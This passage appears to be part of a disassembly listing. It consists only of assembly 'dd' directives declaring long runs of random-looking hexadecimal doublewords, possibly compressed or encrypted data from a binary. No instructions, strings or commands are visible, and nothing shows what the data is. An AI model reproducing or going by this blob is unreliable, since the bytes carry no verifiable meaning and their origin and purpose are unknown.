8CE64B98h, 1F36E5E3h, 49858F30h dd 7C3898Eh, 3C25140Ch, 0C89460B1h, 1907184Ch, 896F8CDBh dd 60013F70h, 0CF0F3C68h, 9E51F68Eh, 38048BE0h, 230128FAh dd 57BAAFF3h, 7EC4D2EFh, 0EA900060h, 6CF17461h, 3400EE58h dd 0E3F009D1h, 0CBF4C7h, 76C45115h, 7C7282E6h, 5C90E760h dd 327770h, 4B338D19h, 75EBEC53h, 55E38500h, 0DD616431h dd 0B8040083h, 40F86530h, 0C700FB7Ch, 0C27749E5h, 0DB4256h dd 0BF60982Eh, 3B105FBEh, 0B80BA43Dh, 0E50A805Ch, 89B356B2h dd 1C22751Dh, 7D7F1Bh, 9F07B765h, 83077B10h, 0FEB62B91h dd 0CA5014F0h, 9010C09Dh, 353F8D79h, 49856900h, 95B8FEDBh dd 1E980602h, 289A6B4Ah, 0F2B0D700h, 9EF489A5h, 98FE01C9h dd 160D3179h, 0F199E88Eh, 6A951918h, 92A531h, 0EFCA22D0h dd 61B7D926h, 0B95FF500h, 0AFBD1415h, 357BC2h, 0F6721C62h dd 0F9DFA954h, 90B98200h, 6B7E029Eh, 29240178h, 95E63EA4h dd 99C89137h, 0FC031913h, 0CB2107CEh, 0B84C73D3h, 3D8D3878h dd 792FFA80h, 37EF25B3h, 107BD903h, 3E95E1BFh, 8F00B841h dd 948514B4h, 0CD3A1902h, 106B1896h, 0E76320h, 0C7D42F8Fh dd 43F3535Ah, 69069118h, 632D41h, 82166F85h, 0EC0D9CD6h dd 3AA06E00h, 0D17EE0D0h, 54D4EE3Dh, 4456AC26h, 0D0A97C27h dd 2B01CE31h, 0E1CD771Ah, 9201A885h, 73B014B4h, 15BCD700h dd 4CE6EBCCh, 9F048800h, 23B43A0Eh, 5EE491h, 0FECCF8ACh dd 8CA62744h, 9D200353h, 60055BC8h, 9803F4B5h, 0D17FD0C1h dd 0C20BBAFh, 8CB00C95h, 98E817F3h, 0BCE4CB00h, 5DA73724h dd 0F490319Bh, 9FB2C408h, 80F8CD20h, 0D293BA19h, 14EA2604h dd 0BCB8AC08h, 8BC3A388h, 0A51BF189h, 5F88BD18h, 448F00E3h dd 9C706D7h, 66EEBFF2h, 0A1A2FA26h, 800E616h, 97659F0Ch dd 8A0E0069h, 901A3B9h, 171ED11Dh, 0F042C78Eh, 44EA7B19h dd 1860F418h, 1194E1D0h, 8570BDF3h, 0DF777303h, 0CAAB5158h dd 39DE60B8h, 6B96039Eh, 18458275h, 107A300Ah, 0F14064A1h dd 0F31BBA8Fh, 21C06418h, 6A8FEA55h, 0A454FBFBh, 7424F7C0h dd 0FAF9092Eh, 80EDE76h, 2211B0Dh, 0E7308DBCh, 372511BCh dd 211C8CEFh, 0BCBF00DAh, 0CDD6B048h, 5267FFD2h, 0D4A72B18h dd 874546E0h, 58111D7Ah, 0B3F9CD67h, 0B5A2F821h, 953D9900h dd 696A2522h, 590E601Bh, 7EEFAA51h, 8FA8D564h, 803AC894h dd 0C0106A10h, 7582EE69h, 0E7970E9Fh, 0F0292937h, 8BCCF402h dd 60BC2C84h, 29BB8FEEh, 0C3AC7D1Bh, 200BE65Eh, 83D4691h dd 498860h, 6099ED48h, 3073F01Ah, 96F1CAF8h, 0F23ADDB5h dd 0CB607F5h, 8C9E3E4Dh, 30F2161h, 64A8DE8Ch, 6900B207h dd 0C1EADD16h, 2E6820h, 42A454ECh, 6FC695D8h, 6A318500h dd 9791BEB1h, 0D01A404Eh, 0A5643CA5h, 0FC8E0A61h, 480F2743h dd 3F712E5h, 0D0A17586h, 216558Bh, 0E69F84CCh, 0D848FC9Ah dd 513D225Eh, 2D1D03E5h, 18577FCAh, 209B7508h, 51012841h dd 0FC74FD87h, 0EFC3C99h, 1141237h, 90383211h, 8BCE830h dd 62073720h, 7CA0D958h, 758B2CBCh, 6A2B0FADh, 59FFC03Fh dd 14616FCh, 7047E58h, 0C21EEBC5h, 979F0B32h, 80261134h dd 960181BBh, 71460092h, 37F0A918h, 0B530FA2Bh, 153628CDh dd 5D6401F1h, 0E1CF173Ch, 60DADDEDh, 6989565Ch, 347882F6h dd 7FA89042h, 0F8FA05A4h, 904A2E32h, 7D7B2B68h, 1C0B0ABh dd 0E5314EDBh, 6507E887h, 0CE6D1980h, 0DEDC6661h, 1900D4E0h dd 562AF6E0h, 76CF4120h, 407C5807h, 0D7791F30h, 471DC6F4h dd 50CC7911h, 487A40CFh, 2680D815h, 0A3DE8FC6h, 54012E7Ah dd 0F061B840h, 0F4FCB4A2h, 109E0AEDh, 82B09466h, 8C72EAF9h dd 0A580A043h, 0F398A4ECh, 0B62A3118h, 3D7450Ah, 89FF9F50h dd 14882613h, 0A701B458h, 0B2F40648h, 40839A72h, 8219362Dh dd 29975800h, 0EDCCFA14h, 70A3123Eh, 0DD882106h, 0B9F8EB03h dd 77005EF7h, 81C4FD3Ah, 0CB57B18h, 0B09391D3h, 0E513C5D1h dd 4C0745DCh, 79F048DAh, 0B34F214Eh, 9FCBD084h, 46C3F844h dd 2021A485h, 84675AF4h, 23653312h, 40E41D18h, 0B986A551h dd 84D01E1h, 3EF89043h, 73DC4C79h, 23ADBA03h, 99346DECh dd 8970D594h, 0FF21C075h, 0F659528Dh, 4D5CE800h, 0F8D9E4D7h dd 3422FB09h, 0A5FE0442h, 0BF52C404h, 98829909h, 9E039F55h dd 0ACC8A879h, 70F20617h, 281EF882h, 0D0F06301h, 7E15A9CDh dd 74EA4980h, 0F5CBD217h, 1AED5800h, 0FF2A57D3h, 946D48A9h dd 7285F0C1h, 0D8097099h, 0A7203F03h, 1DD1F49h, 6B154F70h dd 0FC46A805h, 0E400ED6Dh, 96BD23D1h, 0B40E09Eh, 0E99F8845h dd 51258030h, 21E6EE3Fh dd 0F7A9134h, 80512F40h, 26B43FDCh, 4A4B02FDh, 12196966h dd 68ED0320h, 0E91B4414h, 0C899E700h, 0E18D7AAh, 4CAB4C25h dd 42331E09h, 94C22442h, 0D78B1801h, 4A80FCEAh, 4F280664h dd 0A40724C8h, 8D3D02B8h, 16ABBA30h, 82A99760h, 888EB02Ch dd 22BCEAC0h, 5DF72137h, 0EB002991h, 46D9BCA2h, 7800BA43h dd 0C6E4659Fh, 25E7C5EDh, 0F4828E1Eh, 0B8A074F8h, 1D5E2CCDh dd 5259C405h, 0C1000E14h, 1EE44B03h, 3078606Eh, 0CC86C87Bh dd 0F1CD6304h, 0CCD6EA72h, 668758B8h, 69F35E01h, 50E1D2C0h dd 766FEACh, 55E27700h, 34929078h, 9ED200EFh, 7EEAF27Ch dd 0D31F2C87h, 7B063597h, 7439A2E7h, 1B5C16C5h, 7500667h dd 460019B3h, 318C4C6Eh, 7BCB83h, 0F6375BFBh, 322E36BDh dd 4BA18600h, 0CC1C4989h, 3BF0B8F3h, 0E4D268D0h, 9E9CFC00h dd 4E678E14h, 9519FA13h, 0CB6A5C90h, 5073006Eh, 93FDD47Dh dd 140077F3h, 0AC78BBBFh, 1865CC36h, 91AE7E75h, 59C11EF1h dd 1505B026h, 7003DC80h, 2ED49F65h, 7F509607h, 0E303797h dd 90CEC374h, 8C4E0B64h, 5090F45Ch, 0B0F2DCBCh, 75DF102h dd 4CEDD375h, 468CB02Ch, 0BCE5018Fh, 5DBF372Bh, 0D088320Ch dd 0EEBC00BDh, 0D3F11797h, 0A42BA923h, 71F909Fh, 8286C9F0h dd 8A793EADh, 0A0488E01h, 0F86ACBB4h, 68183D2Bh, 8B591D18h dd 0F2BF1831h, 0E6D61122h, 8C9CF71Dh, 1EF05C00h, 0B7CB496h dd 95734A35h, 1669A402h, 301E7481h, 0F11C2524h, 6B87210h dd 97234B59h, 758E2530h, 61112097h, 0C06BC19Eh, 60211E85h dd 994051D4h, 49AC6007h, 953FEB0Fh, 96442200h, 248F1DA8h dd 3677877h, 4C9241FAh, 39004E9Fh, 791A3611h, 6C527Fh dd 0B9688DD7h, 0A46429D2h, 71FB1900h, 5765C22Dh, 0A8664916h dd 88675F00h, 0C5F0CA6Ch, 52A3A00h, 0A96BABFCh, 0B48D006Eh dd 0E7508862h, 0F896F4A7h, 0B826E881h, 0B3E00A4Ch, 0F1374058h dd 782F1C44h, 28300092h, 9BF9446h, 0D00AF51h, 18225D95h dd 4BC6416h, 294A362Ch, 699C838Ah, 1E41DCE7h, 8F244D5Ch dd 7CC11216h, 0F40DFA28h, 0F510EFDDh, 0A7C4B53Dh, 0A9F60019h dd 34FEDEh, 42F09413h, 4A3729EFh, 0F8ADDF12h, 909E3CCEh dd 6349C199h, 0D420430Ch, 790E4416h, 0BD2B370Bh, 144423h dd 0B1D706EDh, 87FD14EFh, 0B9427305h, 0B4C2023Bh, 2BD0259Dh dd 0FE61106Ch, 15F1C1C0h, 899F0EEh, 0B197A80h, 0FF5C02h dd 0C7EB60C9h, 88D7CE97h, 0B8BF639h, 9A2EDB1h, 0D6788160h dd 5857143Eh, 0D1CAEE10h, 55900024h, 1DD2A64Eh, 7C148C98h dd 4DD0DCBBh, 22B78010h, 0A84F9FABh, 1C632790h, 40CEF288h dd 0F464C1FCh, 4104F032h, 408E3E52h, 53CE1CBFh, 664420FAh dd 0B200ADB0h, 0CFA0EF01h, 148200Ah, 9E211A13h, 38D71516h dd 8CAEB83Ch, 0B501E4Ch, 48502474h, 2570604h, 91CA9D89h dd 1448A18Dh, 0EC9168D6h, 497BF88Ch, 0C82107F3h, 10B2C305h dd 0E636252Ch, 4086E500h, 15749782h, 42BB3A79h, 69C4A178h dd 0B8B04913h, 3DF6D3C1h, 0D8A2A41Dh, 0F25C6C40h, 4C41D658h dd 0F86F011h, 0B4F08995h, 85031C07h, 3A9F7E7h, 4109D17h dd 0AE8A9A29h, 0FF9481B2h, 8928C597h, 8787B839h, 338275B8h dd 8598C88Dh, 627F12FFh, 0B384C099h, 0B88083A8h, 339D26C0h dd 0A2EA8770h, 66217318h, 0EBF43978h, 0C30BB1Eh, 0ACCB143Bh dd 0AAC70024h, 19FB6517h, 0DA640AE0h, 4018A083h, 0CE5E4034h dd 1636F50Ch, 44C195h, 5F7EF764h, 2143D8E5h, 801DB00h dd 2D05BD17h, 0F8BC0445h, 0C02F52D7h, 7C761B24h, 0CA3EED00h dd 2B6CC772h, 1766041Ch, 0C379479Bh, 0B811A644h, 0B1027E7Dh dd 8CB84FBEh, 400D9C84h, 5FC17E02h, 2BF1CB24h, 815EC187h dd 3C92BF70h, 8C7CE86Ch, 4E2DE209h, 19020CCAh, 71E60E68h dd 1BA02AFAh, 202223CDh, 1031A001h, 0E5F03616h, 0B237EC40h dd 0E81F693Ch, 63BAD903h, 827BD00Bh, 0B64C89Dh, 6198F03Eh dd 89D02813h, 8CDFF0B0h, 0FA50A313h, 0D52BC420h, 0BECF30D3h dd 9F49C728h, 26D06951h, 5258F02Ch, 450614E7h, 0E04ACD5h dd 0C895C2FCh, 28CEA98h, 0E6E15126h, 7B182C7Dh, 6C3D809Bh dd 161C33F2h, 8CC1EFD9h, 460C93F1h, 0C1802AD1h, 0DBAB26CDh dd 0B2003991h, 1FBB7654h, 647C617h, 0A786502Ah, 0D2248987h dd 0E5008060h, 6A8102D9h, 7AE3005Ch, 0A5AD9E3Dh, 1A00B2F7h dd 0D310F834h, 7154FCBFh, 0BDE60035h, 70D29F0h, 8A001101h dd 3D459380h, 38EE33h, 0BD5DF965h, 0BD5158Fh, 0C01D100h dd 0F62CCE1Ah, 14270751h, 0EE537A8Ah, 96725C0h, 9F00220Ch dd 475B013Bh, 1F6CF8CEh, 80BBFB24h, 44BF6D19h, 73715820h dd 0D20F5100h, 42C4A91Eh, 5B7846h, 0CAA384D1h, 8543AECDh dd 0F630A400h, 0E29AB29Fh, 0DB2B0A63h, 19C1377h, 0EE2E6D39h dd 0C40870D4h, 50426E2Eh, 0A39A1407h, 0A87F5C70h, 5D581F31h dd 0F4D04309h, 0FCE05B0Ch, 44E84604h, 0B820B061h, 0E9F0B501h dd 6FF7F79h, 3CEC739Ah, 6301407Ch, 3FCC0D5Dh, 83FD72D5h dd 0DC2FC4h, 0FE914881h, 78B06857h, 555CF100h, 0B47D58D2h dd 89E700FFh, 39EFF737h, 0F4F830B3h, 0BBD83105h, 4CC74614h dd 30E8A6h, 0CF20833Eh, 0A554E9FAh, 3146150Eh, 650A7CCCh dd 0A97020ECh, 9B148CE1h, 807C6AA3h, 0F4CCB5FDh, 2247436Ch dd 15BC1C41h, 260F80B5h, 4D13CD34h, 9E195400h, 2B814E28h dd 0C75ADh, 53B7E8F1h, 4052B6A3h, 0F0A78CA8h, 7D48AE60h dd 0FEB4AC5h, 0DA299407h, 5CF4E9A3h, 0DB3445E0h, 14918863h dd 0B0C87CB2h, 5B960100h, 0A57A3665h, 18A04192h, 79B31051h dd 387E606Dh, 0A1BA9EE8h, 0A09040FBh, 0A78114D1h, 1D37CCE0h dd 1F1A7D57h, 61B418E8h, 87F42648h, 0B8532D01h, 0BB3BC579h dd 0B1934AD1h, 0C0471E71h, 3266D19Eh, 0F300551Ah, 8588EE02h dd 0A1F50F19h, 3B18E92Ch, 2D2386F4h, 3D11CBh, 9E1B656Eh dd 300377D5h, 0A8199F20h, 0D31B5457h, 0C058F890h, 3ACD11h dd 58E8CF0Ah, 5A987A44h, 21E04530h, 39E53Fh, 22A41436h dd 6717BCA9h, 5B74B310h, 64320550h, 67CC5860h, 0CF013A70h dd 2C50D080h, 0E4FC2C22h, 13F4390Eh, 7FB3E334h, 0FA510059h dd 4267A303h, 12004FA1h, 0BBA50CEh, 1596F616h, 0E4785FFEh dd 395DB500h, 36BFD1EEh, 0A004CE8h, 7759D9B3h, 0A09F711Fh dd 30BC2D8h, 8AE9E1A7h, 0B900EF8Dh, 0BF52D473h, 0C0795F0Ch dd 192A3851h, 23E8E23h, 8D808C0Fh, 9EB1D3h, 87327CD7h dd 0EA018A39h, 1ED15444h, 8AB599FCh, 11844616h, 3AD08088h dd 0ACE0CFFDh, 3EE744B0h, 0BB39E800h, 18C6B3DBh, 0A06A48B2h dd 6008323h, 0B4FB11B5h, 4B44865Ah, 0B5FE1FBFh, 2A9340BAh dd 0EFED1D78h, 0E50BA8A4h, 303DB4h, 78BD2919h, 0F8230941h dd 0A803F2D2h, 7499E72Eh, 8F31BE58h, 7D9AA0F1h, 80B2950Fh dd 4ECD0E59h, 7DA8728Dh, 0B7F0BBh, 3F10A77Bh, 0EA157CDDh dd 0B8000891h, 0BC3CEF84h, 0F5641EB1h, 0E90877D4h, 0CD95A420h dd 0A7EE20EFh, 4330DBB0h, 6FEE1882h, 0FAFF0E57h, 5229B0F1h dd 338EB800h, 0F455E0E7h, 88344E98h, 2B3FC02Eh, 0A8A87B5Ch dd 9909492Ah, 82F344B0h, 0AF8E54h, 5B576420h, 59248800h dd 0EA47FDDDh, 9EE10203h, 0E68F9976h, 7BCD0060h, 71BD4000h dd 8E4FB064h, 0CC3600E7h, 0DE275F23h, 0B4937DF0h, 1E7F178h dd 0EBBDBBF8h, 24910BB6h dd 1200A8F8h, 63547867h, 0E3D479B5h, 914049F1h, 48C48E5Bh dd 86C8F047h, 739F6C0h, 90B056CFh, 3C00F922h, 0F7D43ACEh dd 53896B9Fh, 90A2E822h, 5C87E030h, 0E1121297h, 32D80074h dd 6AC7B3D2h, 58288B00h, 2C48DE0h, 9C09154h, 6F059619h dd 0D1CC4077h, 1CD9C071h, 84AC7000h, 0C21286FBh, 0D8456464h dd 3ACF60CDh, 8C98E608h, 71FD44h, 0F54A39E7h, 6B7F80Eh dd 78C45304h, 0D847577Ah, 91F83F8Dh, 38B04EB0h, 8CAD4501h dd 0F08F78EEh, 21A43831h, 0A60F1FF4h, 0B7B385A4h, 0F640883Eh dd 0B68D11E9h, 8FB031B2h, 6398833h, 59C821CFh, 1300E691h dd 0EEAF39E9h, 3A1CE134h, 33AB82Fh, 913C0A5Dh, 0D0294424h dd 80488C01h, 91BC0AA8h, 9364D04Fh, 0EF899942h, 60087440h dd 66C59704h, 0B48041D6h, 44CB77Dh, 4298329Eh, 0A204C33Dh dd 7CDE390Ah, 8B403402h, 21D93DEFh, 0AB916488h, 0EFCC9603h dd 5B88FE10h, 45F846CBh, 0DD0E8CA8h, 7000A1E6h, 1A92ED4Fh dd 0FEF0CEAAh, 9C2A4CF7h, 0BDF1B604h, 220280D5h, 3F00C5A2h dd 0FCE5B36Ch, 4E97B4h, 49629E2Bh, 0EB047405h, 8AAFE200h dd 0A4FD06F6h, 6B7A1CECh, 0F1868FD6h, 0D2CEDF40h, 0FB011094h dd 2CDCA28Bh, 34F02DF7h, 6EA70016h, 0F587744Eh, 0E200614Ah dd 0D7853EBDh, 3AA857E8h, 0D19D39B7h, 3BA9C094h, 3F0D81B6h dd 87739000h, 0C5E53842h, 0D68A2CA8h, 52270029h, 7B743E2Ch dd 0FA827F00h, 0B1D1E993h, 44F839h, 1846C729h, 0FE0C7B49h dd 0F83D3B00h, 309F8175h, 21E90C60h, 0DD80CD99h, 18926403h dd 0C02E0642h, 11BEBFh, 0F7F5A9F1h, 0CC86911Eh, 0A80CD1B8h dd 4148F42Dh, 0F18EA26h, 27157BB1h, 9AE04FCFh, 0F9CBB56Bh dd 0AE8540Fh, 0F16E1AFh, 0A040E9D7h, 0B899DCh, 578A8E5h dd 0F8E8D6A7h, 965C7310h, 0F96DE606h, 0AB0040B2h, 0C647A4F5h dd 30AF517Dh, 6A52F3E7h, 2100DABEh, 7E978E06h, 298A1Dh dd 0B35391F2h, 6D02507Ah, 1BAB5501h, 82CC8185h, 0CFE2C080h dd 32231128h, 22879100h, 0A24A970Eh, 0A00950D1h, 0A830001Bh dd 7249534Bh, 0ED00A329h, 0D65D0495h, 77A20Eh, 0B0C1D916h dd 435B9437h, 0F950D705h, 0C040FD26h, 0BB418615h, 279C0539h dd 809E1F20h, 21BCD915h, 0D6018CF2h, 32DC922Eh, 0C0508A7Fh dd 3B6B4BCFh, 71006243h, 0FFB14784h, 9FECCB8Eh, 0A1400416h dd 0A58B3000h, 233FE4h, 0B8F5BB1h, 0F877DEEh, 0A10070FAh dd 0C4D74E9h, 0EC33C585h, 44410120h, 5BA38453h, 0D66020E0h dd 265C4E01h, 3372B9F4h, 0A11162ECh, 4024E6E0h, 0B63500AEh dd 0A689978Ah, 0D400878Fh, 10F24C36h, 0F6AD110Bh, 7EB20D5Eh dd 0C4C0D12Bh, 16301809h, 0A48940ECh, 801E0042h, 839E07Eh dd 4F1F9804h, 80A8DAC7h, 669C2713h, 0EE4B000Fh, 0BCAEE15Dh dd 52D8E7E9h, 0F9C40089h, 0CAB480F4h, 0B80018D2h, 0F1876ED0h dd 902E1986h, 2CFF0040h, 0F974B9CFh, 95013082h, 7531D773h dd 8B00C46Eh, 4617AF08h, 4B005A70h, 0D2A7115Dh, 60634877h dd 107E5F00h, 14DF38A6h, 5E26201Eh, 61F2E300h, 0E6369270h dd 87E031Bh, 0E5CDDA15h, 5F6991C8h, 3DFF9900h, 431AC4DBh dd 9F800E0h, 426C5183h, 2F03B06Bh, 0F3992ECh, 3D407115h dd 80809D49h, 0E66C9383h, 0D3003D14h, 0B16950EAh, 0A97623h dd 1C87DECEh, 0F7B3EEECh, 0F1496DF2h, 89FF0140h, 6805A897h dd 41E0F876h, 0D900BA92h, 9F0B487Ch, 2CA2A5DDh, 24D3B3CCh dd 530A8EB8h, 555C7540h, 9094CDB4h, 994C7B60h, 0B08327F3h dd 4F11341Dh, 18C78F80h, 0B5CEF4Ah, 0F94C02F0h, 58A970E9h dd 74C900FCh, 8CB5DC2Fh, 5700FE90h, 0EB614069h, 168E79h dd 0F84EF067h, 317F70F4h, 5FF59300h, 3D2DDAAAh, 828D0037h dd 2F11F3B1h, 20C0E30Bh, 46C60C4Eh, 201353A5h, 60263784h dd 2CCF89F4h, 1C14B87h, 0DEC50E46h, 0F899E17Fh, 58C08FF8h dd 0B938B4A8h, 9003F04Ah, 576B3FDCh, 0D4DAC080h, 0F6BD2BBFh dd 8344EC00h, 0A17237EBh, 0F83C00DCh, 55F58B17h, 880029E2h dd 2C9B9833h, 0C0A9940Ch, 8B1D8F42h, 0F67F7D61h, 6C994500h dd 4FD4A04Dh, 9337003Ch, 8ECE3EDDh, 0B362B51Dh, 279A9129h dd 0C18838E0h, 0AB248841h, 1128FD94h, 0F5114250h, 0AFC7113Dh dd 7314C928h, 4CD8BA7h, 48B5AA28h, 2C180D5h, 77BBF939h dd 6B8F8E07h, 57772588h, 0C92F6890h, 0C89B0040h, 5D3CFC09h dd 8F005219h, 3B03016Ah, 9A8008h, 0EAB69DF5h, 2D2F9258h dd 0E112851Dh, 807EF61Ch, 4AF15FC6h, 75D7Bh, 0BBEE834h dd 7E57B8B9h, 0C97FD775h, 2FB19605h, 618013D3h, 345205Ah dd 0E10C0FE0h, 6CC05D61h, 320EAFE8h, 20B2BA5Fh, 0FFE78AC1h dd 847D00B6h, 0D63B9952h, 0C5EC13FBh, 8673F700h, 0D7EA687Eh dd 9B9303C3h, 0EFA7DC1Ch, 2B1699D8h, 0AF14A400h, 340881E1h dd 0BF4800E2h, 0B3796D22h, 3E3F92CFh, 1C48CDh, 104C18EEh dd 0B95484h, 6BFB17D8h, 1AB22375h, 0E4B63E00h, 3C2DAB8Dh dd 0AAED0018h, 30F5CCE3h, 4C03860Fh, 0E419AEBFh, 0A0E2FB4Fh dd 5D7C6Ah, 1C4E6DDh, 20069840h, 80F2B6F0h, 2C7A8200h dd 3E5D2461h, 0F17E6Eh, 0A9C14C06h, 0B1CD3331h, 0ED1130FDh dd 1EC50B17h, 0CABDFD00h, 0F0EE8712h, 0A98600FFh, 2D95253h dd 0DE7CD6B7h, 0B1DCC200h, 568347A5h, 1A67001Bh, 70A37B7Fh dd 0D600EB1Ch, 0ED7118E5h, 0BAB116h, 0AE2340CEh, 30641978h dd 76A6B800h, 0D46D0A4Ah, 901BB0EAh, 913A1CDCh, 0C21143FBh dd 0CEAD090h, 0A515B848h, 936FBD00h, 0C7AC3033h, 0A3F459h dd 0AE1AC251h, 3688205Ch, 0F412400h, 0CA46F348h, 0B70A269Ch dd 0E1EE0034h, 75470C37h, 0BCC7BD3Bh, 981281D9h, 940E8CCCh dd 4C3D7088h, 64EBDE81h, 0EAE0FCB8h, 1E24003Ah, 2A1FC2A5h dd 600E203h, 7ABF861Ah, 74523C8h, 0C6D0E093h, 53DDA109h dd 0BDAE30DAh, 368FE400h, 0A4010416h, 3F2600F0h, 0F6D42281h dd 4BF89938h, 0B728B660h, 17DD24DEh, 0C0BEEACh, 0CC18D09Ah dd 0C8158900h, 0C351904Dh, 2B8B05Ah, 0F7C4143Ah, 92E0254Ch dd 0CC0040B4h, 4E0745ADh, 195ED5D1h, 9E59A115h, 1A61E0D6h dd 1F6F3400h, 0E0962A3Eh, 0E22100BDh, 0DC7EB41Dh, 0A590CA49h dd 15B63601h, 0DAF8AF3Ch, 0E79820h, 290AC0F9h, 5235947Ch dd 47D3E0Fh, 0B4D2214h, 7816C03Ah, 946500BCh, 1DE49DB6h dd 0B100ADF9h, 31E5132Dh, 2FC3E88h, 1497E226h, 0B4805560h dd 0DF49A34Ch, 7C45E71Eh, 931ECB93h, 0DC014480h, 7AAA36h dd 0DD0E0956h, 77BD7BE3h, 0F20C733Ch, 98C3F000h, 0EF3B1920h dd 425F3DCBh, 0D67AAB0Fh, 0E0FE13A0h, 52008BEBh, 0E7181BFh dd 22DEED1h, 6F322687h, 0B080C475h, 3EF8FED7h, 481E9EE6h dd 8039ACCEh, 6CC463AEh, 2B7883h, 5EB33746h, 1B4F899Fh dd 71F77D00h, 0B9BE3BEEh, 7BCA1CBCh, 0B302842Fh, 67908057h dd 0A900BDF4h, 5D78D411h, 0C7F684h, 21B3F075h, 93569773h dd 0E0854601h, 0BB0142ABh, 1617D0C4h, 0B5857h, 0DEB4D854h dd 8A0041ADh, 0CB6BDBA9h, 0EE151726h, 0ABF200E1h, 0F4C6D232h dd 0DC0082D6h, 4914E753h, 3F0DEAEh, 76948CF1h, 9089E102h dd 0C14825FCh, 6A48601Dh, 60B1F316h, 4FD72C00h, 24C0DA9h dd 1EF6E4ACh, 4C488186h, 960012CBh, 454DE5FDh, 0D0C872h dd 0F334FE5Ch, 300F44C2h, 4EA86700h, 4910A7DEh, 0E5D40132h dd 71897AB3h, 0F9884052h dd 35E0DB5Fh, 0F5F0C972h, 0A2DDC303h, 988A7B49h, 0E0393Bh dd 0C7BB80D3h, 13058403h, 8E197E03h, 90AE7C37h, 5A1587h dd 0FA6BD9A0h, 0F50A6CBh, 14355C24h, 0B0F34701h, 6D20C4D2h dd 4F8E00A9h, 0FE065289h, 4CFA6E4Dh, 49ACF650h, 8B45CE3Ch dd 0D32382h, 0CFF03C3Bh, 778A00C6h, 224557Ah, 0B000CAD8h dd 1612623Ah, 3DC793C9h, 5980FB6Bh, 0AA98767Eh, 0AB0F9FC8h dd 0A0D8B051h, 3B73F4E2h, 723A1DE9h, 6290C0D5h, 98F695BCh dd 423D677Ch, 887500B0h, 0AC3259D1h, 71B900E2h, 2C83D52Fh dd 3B1CF0CFh, 3A55E0h, 0A4638D49h, 4C7943B8h, 0DA06D834h dd 296C289Fh, 8CD9F100h, 423E1424h, 0E2A00202h, 0B6D29B75h dd 8DC1F068h, 97666201h, 7564B2Bh, 7E0048B8h, 1D134A20h dd 6D00DA5Ch, 5EB03821h, 0F43C2h, 96A77E9Ch, 11AD6432h dd 0EFE78800h, 484B470h, 0EC7009Dh, 0FEE52E76h, 25021721h dd 0FC1A95ECh, 58EC4054h, 0D3F000B2h, 2970F133h, 0A51C6E80h dd 0D00010B7h, 7A85678Ah, 0C41A00FEh, 1B81688Fh, 1D00383Dh dd 63EF4E13h, 1E288523h, 7F5EBF73h, 9B31290h, 2FC9D39Fh dd 0F613008Ch, 83362Ah, 1E53CAC7h, 5481423Dh, 3ACD5E07h dd 0C684D1D3h, 0CF0E6480h, 57E694h, 95166DD6h, 0C307C017h dd 7BAE8A1Eh, 66019357h, 4EFD76BEh, 20BFC885h, 81D7C754h dd 538758FEh, 21DA9FBCh, 16B458C0h, 97C9801Eh, 0B7063C1h dd 0D9D4BABCh, 0C17B1Eh, 9FCA4C75h, 298238C0h, 0A8A47100h dd 36871112h, 6D20065h, 24D7DCC7h, 0EC009AF6h, 0A8124639h dd 4C9DFAD4h, 74007096h, 43AFDE4Ah, 93002B22h, 0B1E306E1h dd 0B085CDh, 0A3B4AB60h, 0F09474E9h, 19135094h, 0DFD1CA0Bh dd 0E1476C00h, 5F005EA0h, 0E5A61413h, 0B97F41h, 29A46573h dd 0C6693215h, 5B5F4200h, 0F1BEC052h, 284F03A8h, 0A5EC9741h dd 0E11173F8h, 0B0AE4507h, 20FF639h, 4360D351h, 0BC10A816h dd 69FB0564h, 0C5821Ch, 28EB0ABCh, 3303365Eh, 0E29E475Fh dd 0C1A0A7ADh, 0E5C568h, 7279CB81h, 0B99D8FCAh, 3ADE7600h dd 0FD80607Ch, 0A0F4F082h, 59B3A3C8h, 0E012D01Bh, 2708809Eh dd 0CD01C5F6h, 733705A2h, 5674094Ah, 79B2017Ah, 0F1B5E88Ch dd 1E2AC452h, 15000CB8h, 78B48E9Bh, 4BE0EDh, 887B19D8h dd 0E296DA43h, 0B979D107h, 1477354h, 5AA0C270h, 0B07E0035h dd 40C8068Ah, 3F0E7014h, 801B8E2Fh, 1C32616h, 2D940F29h dd 59E048DCh, 2BAE2272h, 9CE4B300h, 36AFF219h, 1710C22Eh dd 67C084BEh, 4F0005CEh, 4C9BC116h, 24FA15A8h, 39B0CAE2h dd 1C81D7BBh, 0EA68140h, 836800EAh, 43E40060h, 0D779E3C1h dd 47000B36h, 0D946CD26h, 1F74F131h, 0C011294Dh, 2D57D4B8h dd 70002FC8h, 0FF3CD8C2h, 28277F5h, 15DE8E83h, 6F0078E2h dd 3EB21446h, 0B4D63C59h, 0BF9CD102h, 0A442C871h, 85DA6CA0h dd 0CB07A3E3h, 84345F9Ah, 53AE1660h, 0F12E1E61h, 0E290C312h dd 6EB8DA1Bh, 49008D47h, 92C2271Ch, 3D370443h, 0BA023579h dd 31E8FB3h, 74280FFCh, 9551F00h, 0BDD31729h, 21E03CC1h dd 4A071638h, 1ADBE5CBh, 187100B5h, 5CCF906h, 34A41200h dd 0E3749FCDh, 5C0E073Bh, 70AF6FEFh, 0FF82159Eh, 9B1C0C00h dd 50DE7235h, 7F9400D8h, 0EFA5E3B3h, 0F8C03391h, 0BEAF3612h dd 0E67A0038h, 76405A0Ch, 3E1EEC99h, 0A0C0E245h, 71E0F8DAh dd 0C6521CACh, 1FB124EAh, 6FB8808Ch, 0FE186DB2h, 10B5EC00h dd 0DD0B2A21h, 6ED012E6h, 55D48CCBh, 39893Ch, 16EA7D0Fh dd 0F771FFh, 35C21FA8h, 11D5993Eh, 0E7CE3D00h, 3C9531A7h dd 0A84662F3h, 58E01D4Eh, 20173275h, 0E400A4A3h, 61A55971h dd 21410F07h, 3300D283h, 2A1E4A7Ch, 7E57ED17h, 11610C00h dd 0D5FF1Ah, 7CC54E5h, 559E8447h, 0D4C0C709h, 81BC02F3h dd 0C0A4EBE8h, 29580Fh, 48D99EE2h, 243DBD0h, 9B56AC00h dd 4FB44751h, 88270775h, 502A03B6h, 41B713A9h, 115F38h dd 19981A60h, 0F953C04h, 0D2DDA358h, 0C103E6E0h, 0C800F4CAh dd 63A7ED11h, 3EE0895h, 564A5DE1h, 0AAF8055Bh, 8D0CE5D7h dd 0B8A091EDh, 0CB4205ACh, 0C7AB9537h, 0F6B642A0h, 0E4268E00h dd 0D38F0015h, 0F12773Dh, 910057F9h, 0CCA3E180h, 0E28514D6h dd 0B9CF4CAFh, 20E2E400h, 607231FCh, 647A5Ch, 0A4785A24h dd 0D00669h, 834AE2E1h, 